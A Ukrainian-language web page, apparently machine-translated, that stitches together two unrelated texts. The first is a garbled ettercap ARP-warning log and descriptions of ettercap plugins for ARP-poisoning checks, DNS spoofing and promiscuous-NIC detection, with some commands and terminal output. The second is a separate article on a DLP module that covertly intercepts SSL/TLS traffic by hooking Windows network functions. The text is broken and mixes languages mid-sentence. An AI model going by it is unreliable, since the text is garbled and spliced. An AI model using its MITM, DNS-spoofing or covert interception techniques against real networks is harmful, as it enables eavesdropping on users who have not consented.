192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop5. 2.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.39 pretend ) 192.168.1.35 pretends to be 192.168. 1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 8.1.1 arp_cop: (WARNING) 192.168. 1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 pretends to be 192.1.1. 8.1.35 pretends to be 192.168.1.1. ..........................

Він буде автоматично додавати нових жертв у міру їхнього підключення до ARP травлення атаки mitm. Він шукає ARP запити в локальній мережі, і при виявленні плагін додасть хост до списку жертв, якщо список був вказаний як МЕТА. Хост додається, коли від нього видно arp запит.

Він виконує перевірку - чи успішні модулі arp травлення в ettercap. Він відправляє спуфлені ICMP відлуння пакети всім жертвам травлення вдаючи кожну жертву. Він може зловити ICMP відповідь з нашим MAC адресою як пункт призначення, це означає, що травлення між цими двома цілями успішно. Він перевіряє обидва шляхи кожного з'єднання.

Цей плагін перериває DNS запити та відповідає спуфленою (підробленою) відповіддю. Ви можете вибрати, для якої адреси плагін повинен відповісти редагуванням файлу etter.dns. Плагін перехоплює A, AAAA, PTR, MX, WINS, SRV та TXT запити. Якщо це був A запит, ім'я шукається у файлі і повертається IP адресу (ви можете використовувати групові символи в імені).

Це ж застосовується і до запитів AAAA.

Дуже простий плагін, який прослуховує ARP запити для показу всіх цілей, з якими хост хоче спілкуватися. Він також може допомогти вам у пошуках адрес в невідомих LAN.

Ettercap -TQzP find_conn ettercap -TQu -i eth0 -P find_conn

Намагається ідентифікувати пакети ettercap надіслані до LAN. Він може бути корисним для виявлення чиїхось спроб використовувати ettercap. Не покладайтеся на нього на 100%, оскільки тести спрацьовують лише на конкретні послідовності/ідентифікаційні числа.

Перевірять, чи хтось труїть між якими-небудь хостами в списку і нами. Спочатку він перевіряє, чи мають два хоста в списку однаковий mac адресу. Це може означати, що один з них труїть нас прикидаючись іншим. Він може згенерувати багато помилкових спрацьовувань у проксі-arp оточенні. Ви повинні побудувати список хостів для виконання цієї перевірки. Після цього він відправляє icmp відлуння пакети кожному хосту в списку і перевіряє, чи mac адреса джерела відповіді адреси, який ми зберегли в списку з цим IP. Це може означати, що хтось труїть цей хост втілюючи, що має нашу IP адресу і перенаправляє перехоплений пакети нам. Ви не можете виконати цей активний тест у unoffensive (нешкідливому) режимі.

Ettercap -TQP scan_poisoner //

Він намагається знайти, чи сніффіт (прослуховує) хтось у нерозбірливому режимі. Він відправляє два різні погано сформовані arp запити кожної мети в списку хостів і чекає на відповіді. Якщо відповідь надійшла від цільового хоста, це більш-менш ймовірно, що ця мета має мережну карту в нерозбірливому режимі. Він може генерувати помилкові тривоги. Ви можете запустити його як з командного рядкаабо з меню плагінів. Оскільки він прослуховує arp відповіді, буде краще, якщо ви не використовуватимете їх під час відправки arp запитів.

Ettercap -TQP search_promisc /192.168.0.1/ ettercap -TQP search_promisc //

Приклад вдалого вгадування двох мережевих карт, що знаходяться в нерозбірливому режимі:

Розгорнути

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00: 27ff:feaf:30b9/64 SSL dissection потребує valid "redir_command_on" script в etter.conf file Ettercap не працює коректно. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... : no scripts були specified, no starting up! Randomizing 255 hosts для scanning... Scanning whole netmask for 255 hosts... * |============================== ====================>

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00: 27ff:feaf:30b9/64 SSL dissection потребує valid "redir_command_on" script в etter.conf file Ettercap не працює коректно. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... : no scripts були specified, no starting up! Randomizing 255 hosts для scanning... Scanning whole netmask for 255 hosts... * |============================== ====================>| 100.00 % 5 hosts added to the hosts list... Здійснення unified sniffing... Text only interface activated... Hit "h" для help Activating search_promisc plugin... search_promisc: Searching promisc NICs... Less probably sniffing NICs : - 192.168.1.36 - 192.168.1.34 Most probably sniffing NICs: - NONE Closing text interface... Terminating ettercap... Lua cleanup complete! Unified sniffing був stopped.

Під час виконання SSL mitm атаки, ettercap заміняє реальний сертифікат ssl на свій власний. Фальшивий сертифікат створюється на льоту і всі поля заповнені відповідно до представленого сервера реального сертифіката.

Серед завдань інформаційної безпекивсе важливішим і важливішим стає боротьба з витоками конфіденційних відомостей. Згідно з відкритими джерелами, за минулий 2016 кількість витоків збільшилася на 86%, причому з цією проблемою зіткнулися 47% російських компаній різного профілю. Ця проблемавирішується за допомогою систем класу DLP (Data Loss Prevention). У статті розглядається реалізація одного з модулів такої системи, що забезпечує моніторинг SSL/TLS-трафіку шляхом перехоплення системних функцій Windows.

Боротьба з витоками важливої ​​інформаціївимагає моніторингу мережного трафіку. Це передбачає аналіз всіх даних, що передаються по мережі різними способами, в тому числі і даних, що передаються в зашифрованому вигляді за протоколом SSL/TLS.

Перехоплення даних, що передаються за протоколом SSL/TLS, можливе за допомогою атаки типу «людини посередині» (man-in-the-midle, або скорочено MITM). Для цього система моніторингу виступає посередником між клієнтом і сервером. Вся інформація від клієнта спочатку попадає посереднику (тобто системі моніторингу), а потім переправляється серверу. І навпаки, вся інформація від сервера спочатку попадає посереднику, а потім переправляється клієнту.

Рис 1. Атака типу «людина посередині»

Якщо дані передаються з використанням SSL/TLS, обидва з'єднання (і від клієнта до проміжного сервера, і від проміжного сервера до реального сервера) є захищеними. В обох з'єднаннях використовується власний сертифікат і власний закритий ключ. Проміжний сервер має закриті ключі для обох з'єднань і здійснює «перешифрацію» даних: приймає зашифровані дані, дешифрує їх, шифрує за допомогою іншого закритого ключаі, нарешті, вирушає далі. Таким чином, проміжний сервер має у своєму розпорядженні всі передані дані в незашифрованому вигляді.

Використання проміжного сервера має дві важливі недоліки. По-перше, він може виявитися надто помітним для кінцевого користувача. По-друге, якщо проміжний сервер запускається клієнтської машині, то рівні ОС кількість відкритих мережевих з'єднань подвоюється. Це створює додаткове навантаження на мережну підсистему ОС і може призводити до збоїв у випадках, коли потрібно велика кількістьодночасно відкритих мережних з'єднань.

Перехоплення викликів системних функцій дає елегантніший і непомітніший спосіб впровадження посередника. Для цього система моніторингу підключається до вже запущеному процесуі йому підміняє системні функції, використовувані при мережевому взаємодії. Далі, коли процес звертається до перехоплених системних функцій – керування передається системі моніторингу. Таким чином, вона повністю контролює мережеві дії процесу і може виступати посередником при взаємодії процесу з віддаленим сервером.

Рис 2. Атака типу "людина посередині" за допомогою бібліотеки-посередника, що перехоплює системні функції

Бібліотека-посередник має ті ж можливості, що й проміжний сервер. Так, вся інформація від клієнтської програми спочатку потрапляє бібліотеці-посереднику, а потім переправляється до реального сервера. І навпаки, вся інформація від реального сервера спочатку потрапляє до бібліотеки-посередника, а потім переправляється додатком.

Рис 3. Перехоплення даних бібліотекою-посередником

Взаємодія з клієнтським додатком відбувається дещо іншим способом. Бібліотека-посередник отримує управління, коли клієнтська програма викликає деяку функцію мережевої взаємодії. Якщо функція, що викликається, має вхідні аргументи, то бібліотека-посередник отримує значення цих аргументів. p align="justify"> Далі, бібліотека-посередник «емулює» роботу цієї функції і, якщо функція має вихідні аргументи, то бібліотека-посередник формує значення цих аргументів. Така логіка поширюється абсолютно всі перехоплювані функції, зокрема функції встановлення з'єднання, передачі і отримання відповідей сервера.

Бібліотека-посередник одночасно взаємодіє з клієнтським додатком, і з віддаленим сервером. Логіка роботи залежить від дій, що виконуються клієнтським додатком:

1. Встановлення нового мережного з'єднаннявідбувається так:
- Додаток викликає необхідну системну функцію;
- виклик передається бібліотеці-посереднику;
- бібліотека-посередник встановлює з'єднання з сервером, при цьому самостійно виконує всі дії, передбачені протоколом SSL/TLS: перевірку сертифіката сервера, відправлення власного сертифіката, рукостискання, генерацію закритого ключа і т.д.
- бібліотека-посередник повертає керування додатком;
- програма виконує всі дії, необхідні для встановлення з'єднання протоколу SSL/TLS, викликаючи функції мережевої взаємодії. Бібліотека-посередник перехоплює всі ці виклики, але не робить жодних звернень до реального сервера, а самостійно відповідає додатку. З точки зору програми все виглядає так, ніби відбувається взаємодія з реальним сервером (в т.ч. «рукостискання» та генерація закритого ключа).
В результаті виконаних дій бібліотека-посередник має у своєму розпорядженні відразу два закриті ключі протоколу SSL/TLS. Один ключ використовується для взаємодії з програмою, інший - сервером.

2. Для передачі даних серверу програма викликає системну функцію. На вход функції передаються вже зашифровані дані. Бібліотека-посередник перехоплює цей виклик і робить таке:
- дешифрує дані, що передаються за допомогою закритого ключа, отриманого при установці з'єднання з додатком;
- шифрує отримані дані за допомогою закритого ключа, отриманого під час встановлення з'єднання з сервером;
- надсилає зашифровані дані на сервер.

3. Отримання даних від сервера відбувається схожим чином, але у зворотному порядку. Програма викликає функцію отримання даних, а бібліотека-посередник перехоплює цей виклик і робить таке:
- Отримує порцію даних від сервера;
- дешифрує отримані дані за допомогою закритого ключа, отриманого під час встановлення з'єднання з сервером;
- шифрує отримані дані за допомогою закритого ключа, отриманого під час встановлення з'єднання з додатком;
- Повертає шифровані дані (або їх частина) як результат роботи функції.

4. При розриві з'єднання програма викликає відповідну функцію. Бібліотека-посередник перехоплює цей виклик, розриває з'єднання із сервером, видаляє свої внутрішні структурита повертає управління додатком.

Технічна реалізація запропонованого способу перехоплення трафіку має низку складнощів. Програма може використовувати різні способимережевої взаємодії (блокуючий та неблокуючий режим, асинхронний режим роботи тощо). У повноцінній системі моніторингу необхідно врахувати всі можливі сценарії поведінки програми. У інакшесистема моніторингу виявиться непрацездатною.

Більш серйозна проблема полягає в тому, що наявність бібліотеки-посередника може бути помітною для досвідченого користувача. Бібліотека-посередник «відповідає» додатку від імені сервера, але використовує власний самопідписаний сертифікат. Багато клієнтських програм (наприклад, інтернет-браузери) коректно працюють із самопідписаним сертифікатом сервера, але завжди дозволяють його переглянути. Якщо користувач бачить самопідписаний сертифікат, що не має жодного відношення до реального сервера, то може запідозрити наявність посередника.

Загалом запропонований спосіб моніторингу TLS/SSL трафіку вкрай ефективний з кількох причин. По-перше, бібліотека виступає як повноцінний посередник між додатком і сервером. Вона повністю контролює і всю мережну активністьпрограми, і всі дані, що надсилаються/приймаються. По-друге, впровадження бібліотеки-посередника не потребує значних системних ресурсів. Нарешті, наявність бібліотеки-посередника помітна лише досвідченого користувача.